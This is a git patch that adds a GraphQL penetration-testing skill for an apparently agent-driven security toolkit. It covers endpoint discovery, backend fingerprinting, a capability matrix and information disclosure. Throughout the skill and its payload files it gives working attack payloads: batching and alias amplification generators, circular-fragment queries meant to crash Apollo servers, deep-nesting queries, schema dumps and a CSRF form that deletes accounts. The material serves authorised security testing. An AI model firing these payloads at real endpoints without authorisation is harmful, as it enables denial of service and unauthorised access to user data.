From f6eaa61cd64fcd7aa60eb48688ed311f6d89b650 Mon Sep 17 00:00:00 2001 From: GangGreenTemperTatum <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 5 Jun 2026 12:20:59 -0400 Subject: [PATCH] feat(web-security): add graphql-pentest skill for systematic GraphQL security testing Covers endpoint discovery, capability matrix (batching, aliases, introspection, circular fragments, depth limits), resource abuse (CWE-674 uncontrolled recursion, CWE-400 batching amplification), content-type CSRF, and introspection mining. Includes reference files for backend fingerprints, attack payloads, and matrix template. Co-Authored-By: Claude Opus 4.6 (1M context) --- .../skills/graphql-pentest/SKILL.md | 339 ++++++++++++++++++ .../references/fingerprints.md | 48 +++ .../references/matrix-template.md | 64 ++++ .../graphql-pentest/references/payloads.md | 66 ++++ 4 files changed, 517 insertions(+) create mode 100644 capabilities/web-security/skills/graphql-pentest/SKILL.md create mode 100644 capabilities/web-security/skills/graphql-pentest/references/fingerprints.md create mode 100644 capabilities/web-security/skills/graphql-pentest/references/matrix-template.md create mode 100644 capabilities/web-security/skills/graphql-pentest/references/payloads.md diff --git a/capabilities/web-security/skills/graphql-pentest/SKILL.md b/capabilities/web-security/skills/graphql-pentest/SKILL.md new file mode 100644 index 0000000..c91c8fa --- /dev/null +++ b/capabilities/web-security/skills/graphql-pentest/SKILL.md @@ -0,0 +1,339 @@ +--- +name: graphql-pentest +description: GraphQL endpoint discovery, resource abuse (batching, alias amplification, circular fragments, deep nesting), introspection exploitation, backend fingerprinting (Apollo vs graphql-java vs Yoga vs Hasura), and CSRF via content-type differentials. Use when target has GraphQL endpoints, JS source references /graphql paths, or introspection schema is available. +--- + +# GraphQL Pentesting + +Systematic GraphQL security testing from endpoint discovery through resource abuse, auth bypass, and information disclosure. Covers the full attack surface: batching DoS, alias amplification, circular fragment crashes (CWE-674), deep nesting, introspection mining, content-type CSRF, and persisted query abuse. + +## When to Use + +- JS source contains `fetch`/`axios`/`gql` calls to `/graphql` paths +- Proxy sitemap shows `application/json` POST to GraphQL-shaped endpoints +- Static analysis matches flag GraphQL operations, mutations, or schema fragments +- Target uses known GraphQL frameworks (Apollo, graphql-java, Hasura, Yoga, Strawberry) +- Error responses contain `extensions.code`, `GRAPHQL_VALIDATION_FAILED`, or `PersistedQueryNotFound` + +## Base Request + +All GraphQL requests use this template (abbreviated as `GQL` in examples below): + +```bash +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" +``` + +## Phase 1: Endpoint Discovery + +### Common Paths + +Probe these paths with `POST {"query":"{__typename}"}` and `Content-Type: application/json`: + +``` +/graphql /api/graphql /v1/graphql +/gql /api/gql /v2/graphql +/query /api/query /graphiql +/g/api/graphql /g/api/*/graphql /graphql/console +/playground /altair /voyager +/graphql/schema.json /graphql/schema.graphql +``` + +For microservice architectures, enumerate service-specific paths: + +``` +/api//graphql (e.g., /api/comments-server/graphql) +/g/api//graphql (gateway prefix) +//graphql (direct service routing) +``` + +**Source-driven discovery:** Extract GraphQL paths from JS bundles. Search for `fetch("`, `axios.post("`, `gql\``, `useQuery`, `useMutation`, `createHttpLink`, `ApolloClient`, `graphql-tag` in static analysis matches or source maps. + +### Validation + +For each discovered endpoint, send: + +```bash +GQL POST "https://TARGET/graphql" -d '{"query":"{__typename}"}' +``` + +- `200 {"data":{"__typename":"Query"}}` = active GraphQL endpoint +- `401`/`403` = active but requires auth +- `400 "Must provide query string"` = active (different framework) +- `404`/`405` = not routed + +## Phase 2: Backend Fingerprinting + +Identify the backend before testing — it determines which attacks apply. Full differential table in `references/fingerprints.md`. + +**Key differential:** Apollo Server (Node.js) does NOT validate circular fragments by default. graphql-java does. This is the most reliable fingerprint and the highest-value DoS vector. + +```bash +# Fingerprint via circular fragment (most reliable) +GQL POST "https://TARGET/graphql" \ + -d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}' +``` + +- `500 Internal Server Error` = Apollo Server (vulnerable to CWE-674) +- `200` + `FragmentCycle not allowed` = graphql-java (safe) +- `200` + `Cannot spread fragment` = Yoga/validated + +## Phase 3: Capability Matrix + +Test every discovered endpoint for each capability. Build a matrix. + +| Test | Payload | Vulnerable if | +|------|---------|---------------| +| Batching | `[{"query":"{__typename}"},{"query":"{__typename}"}]` | Both execute (two results returned) | +| Batch limit | Increment array size until rejection | Find the ceiling (e.g., 5, 30, unlimited) | +| Aliases | `{"query":"{a1:__typename a2:__typename ... aN:__typename}"}` | Returns N results; find the ceiling | +| Introspection | `{"query":"{__schema{types{name}}}"}` | Returns type list | +| Partial introspection | `{"query":"{__schema{queryType{name}}}"}` | Top-level works but nested fields stripped | +| Circular fragments | `{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}` | HTTP 500 | +| Deep nesting | Recursive `{ field { field { field ... } } }` at depth 50+ | No depth limit rejection | +| Directive overload | `{"query":"{__typename @skip(if:false) @skip(if:false) ...x100}"}` | Accepted without limit | +| GET method | `GET /graphql?query={__typename}` | Executes (enables CSRF without preflight) | +| `application/graphql` CT | Body: `{__typename}` with `Content-Type: application/graphql` | Executes (CSRF vector: no JSON = no preflight) | +| APQ | `{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"abc123"}}}` | `PERSISTED_QUERY_NOT_FOUND` (APQ enabled) | +| WebSocket | `Upgrade: websocket` on graphql path | Subscription endpoint active | +| Rate limiting | 50 requests in 5s | No 429 responses | + +### Matrix Template + +Record results per endpoint: + +``` +| Endpoint | Batch | Aliases | Introspection | Circ Frag | Depth | GET | CT diff | Rate Limit | +|----------|-------|---------|---------------|-----------|-------|-----|---------|------------| +| /graphql | [result] | [limit] | [full/partial/off] | [500/safe] | [limit] | [y/n] | [y/n] | [y/n] | +``` + +## Phase 4: Resource Abuse (DoS) + +### 4A: Batching Amplification + +If batching is enabled, multiply expensive operations: + +```bash +# Generate batched payload (N copies of expensive query) +python3 -c " +import json +q = {'query': '{session { id email name }}'} # expensive resolver +print(json.dumps([q]*30)) +" > /tmp/batch_payload.json + +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -w "\n%{time_total}s" \ + -d @/tmp/batch_payload.json +``` + +**Proof methodology:** Compare baseline (single query) vs batched response time. Document the multiplier. +- Baseline: `{session{id}}` = 150ms +- Batched 30x: 30 copies = 4500ms (30x amplification) + +### 4B: Alias Amplification + +If aliases are unlimited or high-limit, multiply within a single query: + +```bash +# Generate alias payload +python3 -c " +aliases = ' '.join([f'a{i}:session{{id email name}}' for i in range(1000)]) +import json +print(json.dumps({'query': '{' + aliases + '}'})) +" > /tmp/alias_payload.json + +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -w "\n%{time_total}s" \ + -d @/tmp/alias_payload.json +``` + +**Combined vector:** If both batching and aliases work, multiply: `batch_limit x alias_limit = total_ops`. Example: 5 batches x 1000 aliases = 5000 resolver invocations in one HTTP request. + +### 4C: Circular Fragment DoS (CWE-674) + +Triggers uncontrolled recursion on Apollo Server (Node.js) backends that skip `NoFragmentCycles` validation. + +```bash +# 2-way cycle (minimal) +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}' +``` + +**Escalation variants:** + +``` +2-way: fragment A on Query{...B} fragment B on Query{...A} query{...A} +3-way: fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...A} query{...A} +5-way: fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...D} fragment D on Query{...E} fragment E on Query{...A} query{...A} +``` + +If batching is also enabled, batch N circular fragment queries for N stack overflows per request: + +```bash +python3 -c " +import json +q = {'query': 'fragment A on Query{...B} fragment B on Query{...A} query{...A}'} +print(json.dumps([q]*30)) +" > /tmp/batch_circ_payload.json +``` + +**Impact evidence:** +- `500 Internal Server Error` = unhandled exception (server crash) +- `"Maximum call stack size exceeded"` in response = Node.js stack overflow (process kill) +- Response body contains `RangeError` = confirmed CWE-674 + +### 4D: Deep Nesting + +For targets with recursive type relationships (e.g., `User.friends` returns `[User]`): + +```bash +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -d '{"query":"{user{friends{friends{friends{friends{friends{friends{friends{friends{friends{friends{id}}}}}}}}}}}}"}' +``` + +Test incrementally: depth 10, 20, 50, 100. Document where depth limiting kicks in (if ever). + +## Phase 5: Information Disclosure + +### 5A: Introspection Mining + +If introspection is enabled (full or partial), dump the schema: + +```bash +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name } } args { name type { name } } } } } }"}' \ + | python3 -m json.tool > /tmp/schema.json +``` + +**What to extract:** +- Mutation names (state-changing operations: `deleteUser`, `updateRole`, `createPayment`) +- Types with PII fields (`email`, `phone`, `ssn`, `password`, `token`) +- Resolver arguments that accept IDs (IDOR candidates) +- Subscription types (real-time data exfil) +- Deprecated fields (may have weaker auth) + +### 5B: Field Suggestion Exploitation + +When introspection is disabled, submit typos and read error suggestions: + +```bash +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -d '{"query":"{usre{id}}"}' +# Response: "Did you mean 'user'?" -> schema enumeration via typos +``` + +Automate with a wordlist of common field/type names. + +### 5C: Configuration Endpoints + +Check for adjacent configuration endpoints near GraphQL paths: + +``` +/graphql/env /graphql/health /graphql/metrics +/api/graphql/env /api/graphql/config /api/graphql/debug +//env //health //config +``` + +These can leak Sentry DSNs, feature flags, build hashes, monitoring URLs, and internal service topology. + +## Phase 6: Auth and Access Control + +### 6A: Content-Type CSRF + +If an endpoint accepts `application/graphql` or GET queries, CSRF is possible without preflight: + +```bash +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/graphql" \ + -d '{deleteAccount{success}}' +``` + +If the mutation executes, state-changing CSRF is confirmed. Build PoC HTML form: + +```html +
+ + +
+``` + +### 6B: Unauthenticated Access Probing + +Test every endpoint without auth tokens: + +```bash +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -d '{"query":"{__typename}"}' +``` + +- `200` with data = unauthenticated access (test mutations next) +- `401`/`403` = auth required (expected) + +### 6C: Persisted Query Hash Enumeration + +If APQ is enabled (`PERSISTED_QUERY_NOT_FOUND`), known operation hashes bypass query allowlists. Extract hashes from JS bundles by grepping for `sha256Hash` followed by 64 hex chars. + +## Proof Methodology + +### Timing-Based Evidence + +For all DoS vectors, the proof is the response time differential: + +```bash +# Step 1: Baseline (3 samples) +for i in 1 2 3; do + curl -sk -w "%{time_total}\n" -o /dev/null \ + -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -d '{"query":"{__typename}"}' +done + +# Step 2: Amplified (single request) +curl -sk -w "%{time_total}\n" -o /dev/null \ + -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -d @/tmp/amplified_payload.json + +# Step 3: Document multiplier +# Baseline avg: 0.15s, Amplified: 6.2s = 41x amplification +``` + +### Stack Overflow Evidence + +For circular fragment DoS, capture the error response body showing `RangeError` or `Maximum call stack size exceeded`. The 500 alone is the finding; the stack trace is bonus evidence. + +## Chain With + +- **auth-matrix-testing** — after mapping mutations via introspection, test per-resolver authorization +- **race-condition-single-packet** — batch + alias amplification as race condition trigger mechanism +- **orm-filter-data-leak** — GraphQL filter/search arguments often map to ORM queries with traversable relationships +- **saas-provider-url-ssrf** — GraphQL mutations accepting URLs (webhooks, avatars, imports) as SSRF sinks +- **blind-ssrf-chains** — GraphQL connector/datasource mutations as blind SSRF entry points +- **h2-waf-bypass** — if WAF blocks GraphQL payloads, escalate via HTTP/2 framing +- **cspt-xss** — SPA fetch paths derived from URL params that hit GraphQL endpoints + +## Rules + +- **Build the matrix first.** Test every endpoint for every capability before exploiting anything. The matrix reveals which endpoints are soft targets. +- **Fingerprint the backend.** Apollo vs graphql-java determines whether circular fragments crash the server. Do not waste time on CWE-674 against graphql-java. +- **Timing proof is king.** For DoS, the response time differential (baseline vs amplified) is the cleanest evidence. Always measure baseline first. +- **Circular fragments are not batching.** They are separate vulnerability classes (CWE-674 vs CWE-400). Report them separately even if on the same endpoint. +- **Check batch + alias combined.** The most powerful amplification is batch_limit x alias_limit. A 5-batch endpoint with unlimited aliases yields 5000+ ops per request. +- **application/graphql is a CSRF vector.** If mutations execute via non-JSON content types, CSRF is possible without CORS preflight. Always test this. +- **Introspection feeds everything.** Even partial introspection (top-level types) reveals expensive resolvers for alias amplification and mutation names for auth testing. + +## Reference + +- [GraphQL Spec 5.5.2.2: Fragment Spreads Must Not Form Cycles](https://spec.graphql.org/October2021/#sec-Fragment-spreads-must-not-form-cycles) +- [CWE-674: Uncontrolled Recursion](https://cwe.mitre.org/data/definitions/674.html) +- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html) +- [OWASP GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html) +- [PortSwigger: Exploiting GraphQL](https://portswigger.net/web-security/graphql) diff --git a/capabilities/web-security/skills/graphql-pentest/references/fingerprints.md b/capabilities/web-security/skills/graphql-pentest/references/fingerprints.md new file mode 100644 index 0000000..c60b121 --- /dev/null +++ b/capabilities/web-security/skills/graphql-pentest/references/fingerprints.md @@ -0,0 +1,48 @@ +# GraphQL Backend Fingerprint Reference + +## Error Shape Differentials + +| Signal | Apollo Server (Node.js) | graphql-java | Hasura | Yoga/Envelop | +|--------|------------------------|--------------|--------|--------------| +| Error shape | `extensions.code` + `extensions.stacktrace` | `extensions` empty `{}` | `extensions.code` + `extensions.path` | `extensions.code` (Yoga-specific) | +| Introspection disabled msg | `INTROSPECTION_DISABLED` | `FieldUndefined` on sub-fields | `x-hasura-admin-secret` required | Custom message | +| Batch format | JSON array `[{q1},{q2}]` | Not supported (parse error) | JSON array | JSON array | +| Batch rejection | `BAD_REQUEST` or silent | `Unparseable request` | Rate-limited | Configurable | +| Circular fragments | **500 crash** (unvalidated) | **Validated** (`FragmentCycle not allowed`) | **Validated** | Depends on config | +| APQ | `PERSISTED_QUERY_NOT_FOUND` | Not standard | Allowed queries list | Plugin-dependent | + +## Quick Fingerprint Commands + +```bash +# Circular fragment test (most reliable differential) +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}' +# 500 = Apollo (vulnerable CWE-674) | 200 + FragmentCycle error = graphql-java (safe) + +# Batch test +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -d '[{"query":"{__typename}"},{"query":"{__typename}"}]' +# Two results = batching enabled | parse error = graphql-java | BAD_REQUEST = Apollo disabled + +# APQ test +curl -sk -X POST "https://TARGET/graphql" \ + -H "Content-Type: application/json" \ + -d '{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"abc123"}}}' +# PERSISTED_QUERY_NOT_FOUND = APQ enabled (Apollo) | error = not supported +``` + +## Partial Introspection Pattern (graphql-java) + +graphql-java may accept `__schema` top-level but strip sub-field access: + +```bash +# Works (top-level) +{"query":"{__schema{queryType{name}}}"} # 200 + data + +# Blocked (nested) +{"query":"{__schema{types{name fields{name}}}}"} # FieldUndefined errors on sub-fields +``` + +This reveals type names but not full field definitions. Use type names + field suggestions for enumeration. diff --git a/capabilities/web-security/skills/graphql-pentest/references/matrix-template.md b/capabilities/web-security/skills/graphql-pentest/references/matrix-template.md new file mode 100644 index 0000000..449fe4a --- /dev/null +++ b/capabilities/web-security/skills/graphql-pentest/references/matrix-template.md @@ -0,0 +1,64 @@ +# GraphQL Endpoint Capability Matrix Template + +## Per-Endpoint Matrix + +Copy and fill for each discovered endpoint: + +```markdown +| Endpoint | Batch | Aliases | Introspection | Circ Frag | Depth | GET | CT diff | Rate Limit | +|----------|-------|---------|---------------|-----------|-------|-----|---------|------------| +| /graphql | [DISABLED/limit N] | [limit N/UNLIMITED] | [full/partial/off] | [500/safe] | [limit N/none] | [y/n] | [y/n] | [y/n] | +``` + +## Test Payloads per Column + +### Batching +```json +[{"query":"{__typename}"},{"query":"{__typename}"}] +``` +Increment array size to find limit. Record: DISABLED, limit N, or UNLIMITED. + +### Aliases +```json +{"query":"{a1:__typename a2:__typename a3:__typename a4:__typename a5:__typename}"} +``` +Start at 10, try 100, 500, 1000. Record ceiling or UNLIMITED. + +### Introspection +```json +{"query":"{__schema{types{name}}}"} +``` +Full = all fields returned. Partial = top-level only. Off = error/disabled. + +### Circular Fragments +```json +{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"} +``` +500 = vulnerable (CWE-674). Validation error = safe. + +### Depth +```json +{"query":"{user{friends{friends{friends{friends{friends{friends{friends{friends{friends{friends{id}}}}}}}}}}}}"} +``` +Requires recursive type. Test at 10, 20, 50, 100. Record limit or "none." + +### GET Method +``` +GET /graphql?query={__typename} +``` +200 with data = CSRF possible (no preflight). + +### Content-Type Differential +```bash +curl -X POST "https://TARGET/graphql" -H "Content-Type: application/graphql" -d '{__typename}' +``` +200 with data = CSRF vector (non-JSON = no CORS preflight). + +### Rate Limiting +Send 50 requests in 5 seconds. Any 429 responses = rate limited. + +## Full Introspection Query + +```json +{"query":"{ __schema { queryType { name } mutationType { name } subscriptionType { name } types { name kind description fields(includeDeprecated: true) { name description args { name description type { name kind ofType { name kind ofType { name kind } } } } type { name kind ofType { name kind ofType { name kind } } } isDeprecated deprecationReason } inputFields { name description type { name kind ofType { name kind } } } interfaces { name } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { name } } directives { name description locations args { name description type { name kind ofType { name kind } } } } } }"} +``` diff --git a/capabilities/web-security/skills/graphql-pentest/references/payloads.md b/capabilities/web-security/skills/graphql-pentest/references/payloads.md new file mode 100644 index 0000000..b7b6985 --- /dev/null +++ b/capabilities/web-security/skills/graphql-pentest/references/payloads.md @@ -0,0 +1,66 @@ +# GraphQL Attack Payloads + +## Batching Amplification + +```python +# Generate batched payload (N copies of expensive query) +import json +q = {'query': '{session { id email name }}'} # replace with target's expensive resolver +print(json.dumps([q]*30)) # adjust batch count to target's limit +``` + +## Alias Amplification + +```python +# Generate alias payload (N aliases of expensive resolver) +import json +aliases = ' '.join([f'a{i}:session{{id email name}}' for i in range(1000)]) +print(json.dumps({'query': '{' + aliases + '}'})) +``` + +## Combined Batch + Alias + +```python +# batch_limit x alias_count = total ops +import json +aliases = ' '.join([f'a{i}:__typename' for i in range(1000)]) +q = {'query': '{' + aliases + '}'} +print(json.dumps([q]*5)) # 5 batches x 1000 aliases = 5000 ops +``` + +## Circular Fragment Variants + +``` +# 2-way (minimal) +fragment A on Query{...B} fragment B on Query{...A} query{...A} + +# 3-way +fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...A} query{...A} + +# 5-way +fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...D} fragment D on Query{...E} fragment E on Query{...A} query{...A} + +# Batched circular (30x crashes per request) +[{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}, ... x30] +``` + +## Content-Type CSRF PoC + +```html + +
+ + +
+``` + +## Field Suggestion Enumeration Wordlist + +Common GraphQL field/type names for typo-based enumeration when introspection is disabled: + +``` +usre, accout, paymen, profle, settngs, passwrd, tokn, sessin, organzation +admn, membr, invte, webhok, notifcation, subcription, ordr, prodct, transacton +``` + +Submit each as `{"query":"{{id}}"}` and collect "Did you mean..." suggestions.